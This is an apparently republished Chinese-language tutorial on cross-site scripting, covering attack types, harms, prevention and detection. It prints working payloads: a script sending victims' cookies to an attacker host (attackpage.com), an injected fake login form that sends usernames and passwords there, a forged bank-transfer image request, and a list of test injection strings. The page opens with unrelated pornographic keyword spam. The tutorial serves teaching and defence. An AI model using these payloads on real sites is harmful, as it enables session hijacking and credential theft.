日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 综合教程 >内容正文

综合教程

网络安全-跨站脚本攻击XSS(Cross-Site Scripting)

發(fā)布時(shí)間:2023/12/13 综合教程 32 生活家
生活随笔 收集整理的這篇文章主要介紹了 网络安全-跨站脚本攻击XSS(Cross-Site Scripting) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

一、XSS攻擊簡(jiǎn)介

作為一種HTML注入攻擊,XSS攻擊的核心思想就是在HTML頁(yè)面中注入惡意代碼,而XSS采用的注入方式是非常巧妙的。

在XSS攻擊中,一般有三個(gè)角色參與:攻擊者、目標(biāo)服務(wù)器、受害者的瀏覽器。

由于有的服務(wù)器并沒有對(duì)用戶的輸入進(jìn)行安全方面的驗(yàn)證,攻擊者就可以很容易地通過正常的輸入手段,夾帶進(jìn)一些惡意的HTML腳本代碼。當(dāng)受害者的瀏覽器訪問目標(biāo)服務(wù)器上被注入惡意腳本的頁(yè)面后,由于它對(duì)目標(biāo)服務(wù)器的信任,這段惡意腳本的執(zhí)行不會(huì)受到什么阻礙。而此時(shí),攻擊者的目的就已經(jīng)達(dá)到了。

下面我們以一段簡(jiǎn)單的JavaScript腳本為例,來(lái)描述整個(gè)XSS攻擊的過程:

<script>alert(document.cookie);</script>

上面這段腳本的執(zhí)行具體內(nèi)容就是彈出一個(gè)對(duì)話框顯示用戶的Cookie信息。攻擊者在向目標(biāo)服務(wù)器的某個(gè)頁(yè)面進(jìn)行數(shù)據(jù)輸入的過程中,通過正常的輸入方式夾帶進(jìn)這段腳本。假如一切正常的時(shí)候,生成的頁(yè)面代碼如下形式:

可以看到,這段腳本已經(jīng)成功嵌入到該頁(yè)面當(dāng)中。當(dāng)受害瀏覽器訪問這個(gè)頁(yè)面的時(shí)候,這段腳本也將被認(rèn)為是頁(yè)面的一部分,從而得到執(zhí)行,即彈出對(duì)話框顯示受害瀏覽器的Cookie信息。

當(dāng)然,上面的腳本只是一個(gè)簡(jiǎn)單的例子,只要你愿意,可以盡管注入任意的腳本代碼,而這些腳本代碼也將能夠在受害的瀏覽器上得到執(zhí)行。剩下的關(guān)鍵就是如何讓更多受害者去瀏覽這個(gè)被注入腳本的頁(yè)面了,而這方面就屬于社會(huì)工程學(xué)的范疇了,作為一名駭客,坑蒙拐騙的功底還是要有的。

二、XSS攻擊的分類

根據(jù)XSS腳本注入方式的不同,我們可以對(duì)XSS攻擊進(jìn)行簡(jiǎn)單的分類。其中,最常見的就數(shù)反射型XSS和存儲(chǔ)型XSS了。

1.反射型XSS

反射型XSS,又稱非持久型XSS。之所以稱為反射型XSS,則是因?yàn)檫@種攻擊方式的注入代碼是從目標(biāo)服務(wù)器通過錯(cuò)誤信息、搜索結(jié)果等等方式“反射”回來(lái)的。而稱為非持久型XSS,則是因?yàn)檫@種攻擊方式具有一次性。攻擊者通過電子郵件等方式將包含注入腳本的惡意鏈接發(fā)送給受害者,當(dāng)受害者點(diǎn)擊該鏈接時(shí),注入腳本被傳輸?shù)侥繕?biāo)服務(wù)器上,然后服務(wù)器將注入腳本“反射”到受害者的瀏覽器上,從而在該瀏覽器上執(zhí)行了這段腳本。

比如攻擊者將如下鏈接發(fā)送給受害者:

http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>

當(dāng)受害者點(diǎn)擊這個(gè)鏈接的時(shí)候,注入的腳本被當(dāng)作搜索的關(guān)鍵詞發(fā)送到目標(biāo)服務(wù)器的search.asp頁(yè)面中,則在搜索結(jié)果的返回頁(yè)面中,這段腳本將被當(dāng)作搜索的關(guān)鍵詞而嵌入。這樣,當(dāng)用戶得到搜索結(jié)果頁(yè)面后,這段腳本也得到了執(zhí)行。這就是反射型XSS攻擊的原理,可以看到,攻擊者巧妙地通過反射型XSS的攻擊方式,達(dá)到了在受害者的瀏覽器上執(zhí)行腳本的目的。由于代碼注入的是一個(gè)動(dòng)態(tài)產(chǎn)生的頁(yè)面而不是永久的頁(yè)面,因此這種攻擊方式只在點(diǎn)擊鏈接的時(shí)候才產(chǎn)生作用,這也是它被稱為非持久型XSS的原因。

2.存儲(chǔ)型XSS

存儲(chǔ)型XSS,又稱持久型XSS,他和反射型XSS最大的不同就是,攻擊腳本將被永久地存放在目標(biāo)服務(wù)器的數(shù)據(jù)庫(kù)和文件中。這種攻擊多見于論壇,攻擊者在發(fā)帖的過程中,將惡意腳本連同正常信息一起注入到帖子的內(nèi)容之中。隨著帖子被論壇服務(wù)器存儲(chǔ)下來(lái),惡意腳本也永久地被存放在論壇服務(wù)器的后端存儲(chǔ)器中。當(dāng)其它用戶瀏覽這個(gè)被注入了惡意腳本的帖子的時(shí)候,惡意腳本則會(huì)在他們的瀏覽器中得到執(zhí)行,從而受到了攻擊。

可以看到,存儲(chǔ)型XSS的攻擊方式能夠?qū)阂獯a永久地嵌入一個(gè)頁(yè)面當(dāng)中,所有訪問這個(gè)頁(yè)面的用戶都將成為受害者。如果我們能夠謹(jǐn)慎對(duì)待不明鏈接,那么反射型的XSS攻擊將沒有多大作為,而存儲(chǔ)型XSS則不同,由于它注入的往往是一些我們所信任的頁(yè)面,因此無(wú)論我們多么小心,都難免會(huì)受到攻擊。可以說(shuō),存儲(chǔ)型XSS更具有隱蔽性,帶來(lái)的危害也更大,除非服務(wù)器能完全阻止注入,否則任何人都很有可能受到攻擊。

三、XSS攻擊的手段及其危害

由于XSS的隱蔽性及其攻擊面的廣泛性,使得利用XSS漏洞的各種攻擊方式層出不窮,給我們普通的互聯(lián)網(wǎng)用戶帶來(lái)了很大的危害。根據(jù)注入腳本代碼的不同,XSS可以引導(dǎo)各種各樣的攻擊。下面將具體介紹幾種目前互聯(lián)網(wǎng)上常見的XSS攻擊手段及其帶來(lái)的危害。

1.竊取Cookie

通過XSS攻擊,由于注入代碼是在受害者的瀏覽器上執(zhí)行,因此能夠很方便地竊取到受害者的Cookie信息。比如,我們只要注入類似如下的代碼:

 <script>location.replace(“http://www.attackpage.com/record.asp?secret=“+document.cookie)</script>

當(dāng)受害者的瀏覽器執(zhí)行這段腳本的時(shí)候,就會(huì)自動(dòng)訪問攻擊者建立的網(wǎng)站www.attackpage.com,打開其中的recourd.asp,將受害者瀏覽器的Cookie信息給記錄下來(lái)。這樣,攻擊者就得到了用戶的Cookie信息。

得到受害者的Cookie信息后,攻擊者可以很方便地冒充受害者,從而擁有其在目標(biāo)服務(wù)器上的所有權(quán)限,相當(dāng)于受害者的身份認(rèn)證被竊取了。這樣,攻擊者可以任意地利用受害者的身份訪問服務(wù)器上的資源和服務(wù),甚至對(duì)受害者和服務(wù)器上的數(shù)據(jù)進(jìn)行破壞。如果受害者擁有管理員權(quán)限,攻擊者還可以利用其提升自己賬號(hào)的權(quán)限,從而進(jìn)行進(jìn)一步的攻擊。

注:Cookie,有時(shí)也用其復(fù)數(shù)形式Cookies,指某些網(wǎng)站為了辨別用戶身份、進(jìn)行session跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密)

2.引導(dǎo)釣魚

所謂釣魚攻擊就是構(gòu)建一個(gè)釣魚頁(yè)面,誘騙受害者在其中輸入一些敏感信息,然后將其發(fā)送給攻擊者。利用XSS的注入腳本,我們也可以很方便地注入釣魚頁(yè)面的代碼,從而引導(dǎo)釣魚攻擊。比如下面這樣一段代碼:

<script>

function hack()

{

                   location.replace(“http://www.attackpage.com/record.asp?username=“

+document.forms[0].user.value + “password=” + document.forms[0].pass.value);

}

</script>

<form>

<br><br><HR><H3>這個(gè)功能需要登錄:</H3 >

<br><br>請(qǐng)輸入用戶名:<br>

<input type=”text” id=”user”name=”user”>

<br>請(qǐng)輸入密碼:<br>

<input type=”password” name =“pass”>

<br><input type=”submit”name=”login” value=”登錄”onclick=”hack()”>

</form><br><br><HR>

注入上面的代碼后,則會(huì)在原來(lái)的頁(yè)面上,插入一段表單,要求用戶輸入自己的用戶名和密碼,而當(dāng)用戶點(diǎn)擊“登錄”按鈕后,則會(huì)執(zhí)行hack()函數(shù),將用戶的輸入發(fā)送到攻擊者指定的網(wǎng)站上去。這樣,攻擊者就成功竊取了該用戶的賬號(hào)信息。可以看到,和一般的釣魚攻擊不同,XSS引導(dǎo)的釣魚攻擊由于是對(duì)用戶信任的網(wǎng)站頁(yè)面進(jìn)行修改,因此隱蔽性很高,而用戶的賬號(hào)失竊往往會(huì)帶來(lái)重大的損失,因此它的危害也是十分巨大的。

3.跨站請(qǐng)求偽造

跨站請(qǐng)求偽造(Cross-SiteRequest Forgery,CSRF),作為OWASP組織的2007年提出十大安全漏洞第五,它也屬于XSS攻擊的一種衍生。所謂跨站請(qǐng)求偽造,就是攻擊者利用XSS注入攻擊的方式,注入一段腳本,而當(dāng)受害者的瀏覽器運(yùn)行這段腳本時(shí),腳本偽造受害者發(fā)送了一個(gè)合法請(qǐng)求。比如我們注入如下的HTML代碼:

 <imgsrc = “http://www.bank.com/transfer.do?toAct=123456&money=10000>

假如上面的代碼中所訪問的是某個(gè)銀行網(wǎng)站的轉(zhuǎn)賬服務(wù),則當(dāng)受害者的瀏覽器運(yùn)行這段腳本時(shí),就會(huì)向攻擊者指定的賬戶(示例的123456)執(zhí)行轉(zhuǎn)賬操作。由于這個(gè)轉(zhuǎn)賬請(qǐng)求是在受害者的瀏覽器中運(yùn)行的,因此瀏覽器也會(huì)自動(dòng)將受害者的Cookie信息一并發(fā)送。這樣,發(fā)送的請(qǐng)求就好像是受害者自己發(fā)送的一樣,銀行網(wǎng)站也將認(rèn)可這個(gè)請(qǐng)求的合法性,攻擊者也就達(dá)到了偽造請(qǐng)求的目的。

4.注入惡意軟件

除了直接注入惡意腳本以外,通過XSS攻擊,攻擊者也可以很方便地在腳本中引入一些惡意軟件,比如病毒、木馬、蠕蟲等等。例如,攻擊者可以在某個(gè)自己建立的頁(yè)面上放置一些惡意軟件,然后用XSS注入的方式,插入一段引用該頁(yè)面的腳本。這樣當(dāng)受害者的瀏覽器執(zhí)行這段腳本的時(shí)候,就會(huì)自動(dòng)訪問放置了惡意軟件的頁(yè)面,從而受到這些惡意軟件的感染。

利用XSS注入惡意軟件的方式,攻擊者可以很方便地在互聯(lián)網(wǎng)上傳播病毒、木馬和蠕蟲,通過這種途徑,攻擊者就可以通過這些病毒、木馬和蠕蟲,進(jìn)一步地對(duì)受害者的主機(jī)發(fā)動(dòng)攻擊。目前,互聯(lián)網(wǎng)上的“掛馬”現(xiàn)象非常普遍,而XSS注入的出現(xiàn)也無(wú)疑給“掛馬”的攻擊者指明了又一個(gè)新的方向。通過傳播這些木馬,竊取合法用戶的敏感信息,不少非法攻擊者也逐漸將這一過程產(chǎn)業(yè)化,經(jīng)常可以見到以信封方式批量兜售賬號(hào)密碼的現(xiàn)象。這也給許多正常的網(wǎng)絡(luò)用戶造成了許多無(wú)法挽回的巨大損失,造成的危害也很大。

四、XSS的預(yù)防

在前面的文章中,我們具體介紹了各種XSS攻擊的原理和方式。可以看出,XSS是一種覆蓋面很廣,隱蔽性很高,危害也非常大的網(wǎng)絡(luò)應(yīng)用安全漏洞。除非網(wǎng)站服務(wù)器完全不存在XSS漏洞,否則就會(huì)給攻擊者們留下空子。因此,如何在Web應(yīng)用程序的開發(fā)過程中對(duì)XSS漏洞進(jìn)行預(yù)防,是所有網(wǎng)站開發(fā)人員所必須注意的重中之重。下面我們介紹幾種常用的XSS預(yù)防措施。

1.輸入檢測(cè)

對(duì)用戶的所有輸入數(shù)據(jù)進(jìn)行檢測(cè),比如過濾其中的“<”、“>”、“/”等可能導(dǎo)致腳本注入的特殊字符,或者過濾“script”、“javascript”等腳本關(guān)鍵字,或者對(duì)輸入數(shù)據(jù)的長(zhǎng)度進(jìn)行限制等等。同時(shí),我們也要考慮用戶可能繞開ASCII碼,使用十六進(jìn)行編碼如“<</span>”(“<”)、“>”(“>”)等來(lái)輸入腳本。因此,對(duì)用戶輸入的十六進(jìn)制編碼,我們也要進(jìn)行相應(yīng)的過濾。只要開發(fā)人員能夠嚴(yán)格檢測(cè)每一處交互點(diǎn),保證對(duì)所有用戶可能的輸入都進(jìn)行檢測(cè)和XSS過濾,就能夠有效地阻止XSS攻擊。

2.輸出編碼

通過前面對(duì)XSS攻擊的分析,我們可以看到,之所以會(huì)產(chǎn)生XSS攻擊,就是因?yàn)閃eb應(yīng)用程序?qū)⒂脩舻妮斎胫苯忧度氲侥硞€(gè)頁(yè)面當(dāng)中,作為該頁(yè)面的HTML代碼的一部分。因此,當(dāng)Web應(yīng)用程序?qū)⒂脩舻妮斎霐?shù)據(jù)輸出到目標(biāo)頁(yè)面中時(shí),只要用HtmlEncoder等工具先對(duì)這些數(shù)據(jù)進(jìn)行編碼,然后再輸出到目標(biāo)頁(yè)面中。這樣,如果用戶輸入一些HTML的腳本,也會(huì)被當(dāng)成普通的文字,而不會(huì)成為目標(biāo)頁(yè)面HTML代碼的一部分得到執(zhí)行。

3. Cookie防盜

利用XSS攻擊,攻擊者可以很方便地竊取到合法用戶的Cookie信息。因此,對(duì)于網(wǎng)站來(lái)說(shuō),不能在Cookie信息中存放太多敏感信息,也不能將Cookie作為身份認(rèn)證的唯一標(biāo)識(shí),等等。因此,對(duì)于Cookie,我們可以采取以下的措施。首先,我們要盡可能地避免在Cookie中泄露隱私,如用戶名、密碼等;其次,我們可以將Cookie信息用MD5等Hash算法進(jìn)行多次散列后存放;再次,為了防止重放攻擊,我們也可以將Cookie和IP進(jìn)行綁定,這樣也可以阻止攻擊者冒充正常用戶的身份。

4.嚴(yán)格限制URL訪問

攻擊者使用XSS攻擊,通常都要借助于自己指定的網(wǎng)站頁(yè)面,比如用它來(lái)記錄敏感信息、在該頁(yè)面上“掛馬”等等。因此,在頁(yè)面的腳本代碼執(zhí)行過程中,只要我們嚴(yán)格限制其訪問的URL,比如只允許腳本代碼訪問本網(wǎng)站的URL等方式,就可以避免腳本的執(zhí)行鏈接到其它可能是攻擊者指定的頁(yè)面上。

5.用戶注意事項(xiàng)

作為一名普通的網(wǎng)絡(luò)用戶,在XSS攻擊的預(yù)防上總體處在被動(dòng)的地位。但是我們也可以通過采取一些措施來(lái)盡可能地避免受到XSS攻擊。首先,我們不要輕易相信電子郵件或者網(wǎng)頁(yè)中的不明鏈接,這些鏈接很有可能引導(dǎo)反射型XSS攻擊或者使我們?cè)L問到一些不安全的網(wǎng)頁(yè)。其次,我們?cè)诓槐匾臅r(shí)候可以禁用腳本功能,這樣XSS注入的腳本就無(wú)法得到運(yùn)行。再次,我們也可以使用一些安全的瀏覽器上網(wǎng),有的瀏覽器提供XSS過濾功能,會(huì)提示頁(yè)面中可能發(fā)生的XSS注入并將其阻擋下來(lái)。

五、XSS的漏洞檢測(cè)

1.黑盒測(cè)試

所謂黑盒測(cè)試,就是在不知道系統(tǒng)的代碼和運(yùn)行狀態(tài)的條件下,對(duì)系統(tǒng)進(jìn)行的測(cè)試。在對(duì)XSS漏洞的檢測(cè)中,我們可以模擬黑客的攻擊手段,在所有可能的數(shù)據(jù)輸入接口處,嘗試進(jìn)行一些XSS注入。通過觀察注入后的引用這些數(shù)據(jù)的頁(yè)面,看其是否出現(xiàn)被注入的現(xiàn)象,即可確實(shí)是否存在XSS漏洞。比如我們可以用下面所列的一些腳本來(lái)嘗試XSS注入:

 ><script>alert(document.cookie)</script>

        =’><script>alert(document.cookie)</script>

         <script>alert(document.cookie)</script>

        <script>alert(vulnerable)</script>

        

        <script>alert(’XSS’)</script>

        <imgsrc=”javascript:alert(’XSS’)”>

        <imgsrc=”http://xxx.com/yyy.png” onerror=”alert(’XSS’)”>

         <divstyle=”height:expression_r(alert(’XSS’),1)” />(這個(gè)僅限 IE 有效)

如果在打開那些引用了該輸入數(shù)據(jù)的頁(yè)面時(shí),彈出對(duì)話框顯示信息,則可以確定該數(shù)據(jù)輸入時(shí)有可能導(dǎo)致XSS注入,從而確定了XSS漏洞的位置。

2.靜態(tài)分析

XSS漏洞靜態(tài)分析方法屬于白盒測(cè)試方法的一種,它通過對(duì)Web應(yīng)用的代碼進(jìn)行分析,從而發(fā)現(xiàn)其中可能存在的問題。通常來(lái)說(shuō),靜態(tài)分析技術(shù)只是對(duì)代碼進(jìn)行一些簡(jiǎn)單的掃描,找到其中有可能導(dǎo)致XSS注入的地方,將其報(bào)告給我們。

比如在Web應(yīng)用的代碼中可能存在一些讀入數(shù)據(jù)的API,如Request.QueryString(),$_GET等,如果存在這些API,則表示可能引入XSS的注入。通過靜態(tài)分析工具,我們可以很容易發(fā)現(xiàn)所有這些讀入數(shù)據(jù)的API,從而詳細(xì)檢查每一個(gè)數(shù)據(jù)輸入點(diǎn)是否進(jìn)行了XSS注入的過濾。可以看到,靜態(tài)分析的方法,只是幫助我們定位XSS漏洞的可能位置,由于靜態(tài)分析工具難以判定是否對(duì)輸入數(shù)據(jù)進(jìn)行過XSS過濾,因此還是需要我們手動(dòng)地進(jìn)行檢查,從而確保不存在XSS漏洞。

3.數(shù)據(jù)流分析

XSS漏洞之所以產(chǎn)生,根本原因在于不安全的數(shù)據(jù)流,使得用戶的輸入數(shù)據(jù)被直接嵌入到某些頁(yè)面中。比如PHP中的echo語(yǔ)句,就能夠?qū)⒁恍?shù)據(jù)直接添加為HTML頁(yè)面的一部分,如果這個(gè)數(shù)據(jù)是用戶注入了XSS腳本的數(shù)據(jù),則會(huì)導(dǎo)致產(chǎn)生XSS攻擊。因此,數(shù)據(jù)流分析的主要思想就是使用一些模型或者工具,分析Web應(yīng)用程序代碼中的數(shù)據(jù)傳輸情況,從而發(fā)現(xiàn)其中存在的問題。比如,我們可以將用戶的輸入數(shù)據(jù)所存儲(chǔ)的變量打上污點(diǎn)標(biāo)記,通過對(duì)數(shù)據(jù)流和變量類型的分析,逐步標(biāo)記所有引用了污點(diǎn)變量的中間變量,最后通過觀察輸出到頁(yè)面中的變量數(shù)據(jù)是否存在污點(diǎn),來(lái)判斷是否可能產(chǎn)生XSS漏洞。

總結(jié)

以上是生活随笔為你收集整理的网络安全-跨站脚本攻击XSS(Cross-Site Scripting)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。